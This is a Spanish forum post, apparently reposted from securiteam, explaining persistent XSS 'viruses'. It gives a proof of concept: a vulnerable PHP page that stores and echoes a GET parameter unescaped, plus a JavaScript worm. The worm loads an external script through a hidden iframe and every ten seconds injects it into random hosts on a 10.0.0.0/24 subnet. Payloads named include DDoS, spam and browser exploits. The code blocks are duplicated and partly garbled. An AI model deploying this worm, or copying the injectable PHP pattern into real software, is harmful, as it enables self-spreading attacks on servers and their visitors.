Sinteticamente, el XSS se puede dividir en dos áreas: permanente y transitorio. XSS transitorio retorna inmediatamente y no permanece en el servidor. Por el contrario, XSS permanente, permanecerá en el servidor y retornara a cualquier browser que solicite la página infectada.
Prueba del concepto:
La prueba de concepto siguiente demuestra un virus de XSS. Ilustra un XSS permanente dentro de una web. En este caso, la vulnerabilidad es explotable vía una ¨get request¨, que permite que un virus sea creado.Cuando este código es ejecutado por los browsers , da lugar a su infección.
Una página , con un XSS permanente ,hecha de PHP se puede infectar con un virus. La página acepta un valor del parámetro (param) y lo escribe a un archivo (file.txt). Este archivo entonces retorna ante la peticion del browser. El archivo contendrá el valor previo del parámetro "param". Si no se pasa ningún parámetro exhibirá el archivo sin actualizar.
Código:
Web Application: index.php
<?php
$p=$HTTP_GET_VARS[ param ];
$filename = ./file.txt ;
if ($p != ) {
$handle=fopen($filename, wb );
fputs($handle, $p);
fclose($handle);
}
$handle = fopen($filename, r );
$contents = fread($handle, filesize($filename));
fclose($handle);
print $contents;
?>
<?php
$p=$HTTP_GET_VARS[ param ];
$filename = ./file.txt ;
if ($p != ) {
$handle=fopen($filename, wb );
fputs($handle, $p);
fclose($handle);
}
$handle = fopen($filename, r );
$contents = fread($handle, filesize($filename));
fclose($handle);
print $contents;
?>
Una web, entonces, fue infectada con el código que recupera un archivo javascript y lo ejecuta.
Para simplificar, un archivo javascript (xssv.jsp) como el siguiente:
Código:
< iframe name="iframex" id="iframex" src="hidden" style="display:none"></iframe> < script SRC="http://<webserver>/xssv.js"></script>
Para auto-propagarse se usa un iframe que de vez en cuando es recargado usando la funcion loadIframe () .El IP ADDRESS del iframe es seleccionado al azar dentro de la subred de 10.0.0.0/24 vía la función get_random_ip (). El virus XSS usa una combinación de estas dos funciones y la invocación continua periódica que usa la funcion setInterval ().
Javascipt: xssv.jsp
Código:
function loadIframe(iframeName, url) {
if ( window.frames[iframeName] ) {
window.frames[iframeName].location = url;
return false;
}
else return true;
}
function do_request() {
var ip = get_random_ip();
var exploit_string = '< iframe name="iframe2" id="iframe2" src="hidden" style="display:none"></iframe> < script SRC="http://<webserver>/xssv.js"></script>';
loadIframe('iframe2', "http://" + ip + "/index.php?param=" + exploit_string);
}
function get_random()
{
var ranNum= Math.round(Math.random()*255);
return ranNum;
}
function get_random_ip()
{
return "10.0.0."+get_random();
}
setInterval("do_request()", 10000);
if ( window.frames[iframeName] ) {
window.frames[iframeName].location = url;
return false;
}
else return true;
}
function do_request() {
var ip = get_random_ip();
var exploit_string = '< iframe name="iframe2" id="iframe2" src="hidden" style="display:none"></iframe> < script SRC="http://<webserver>/xssv.js"></script>';
loadIframe('iframe2', "http://" + ip + "/index.php?param=" + exploit_string);
}
function get_random()
{
var ranNum= Math.round(Math.random()*255);
return ranNum;
}
function get_random_ip()
{
return "10.0.0."+get_random();
}
setInterval("do_request()", 10000);
Diferencias Con los Virus Convencionales:
Los virus convencionales residen y se ejecutan en el mismo sistema. Los virus de XSS separan estos dos requisitos en una relación simbiótica entre el servidor y el browser. La ejecución ocurre en el browser del cliente y el código reside en el servidor.
La falta de discriminación de la plataforma también distingue un virus de XSS de sus contrapartes convencionales. Esto es debido a la encapsulación dentro del HTML y del protocolo de HTTP/HTTPS. Estos estándares se apoyan en la mayoría de los browsers que funcionan en una variedad de sistemas operativos, haciendo los virus XSS de plataforma independiente. Esta independencia de la plataforma aumenta el número de los usos potenciales de aplicaciones web que pueden ser infectados.
Infección:
la infección del virus XSS ocurre en dos etapas y generalmente en por lo menos dos dispositivos. Como tal, hay dos clases de infecciones que trabajen simbioticamente.
El servidor se infecta con el código que no ejecuta. La segunda etapa es infección del browser. El código inyectado se carga del sitio en el web browser y se ejecuta. La ejecución entonces busca los servidores nuevos que se explotarán y potencialmente ejecuta su carga útil. Típicamente, habrá un servidor infectando a muchos browsers.
Carga útil:
Como virus convencionales, los virus de XSS son capaces de entregar cargas útiles. Las cargas útiles serán ejecutadas en el browser y tener la restricción del código HTML. Es decir, la carga útil puede realizar funciones HTML, incluyendo javascript.
Mientras que esto plantea limitaciones, los virus de XSS siguen siendo capaces de actividad maliciosa. Por ejemplo, la carga útil podría entregar un ataque de DDOS, exhibir Spam o contener exploit del browser.
Fuente:securiteam
Salu2










Autor


En línea


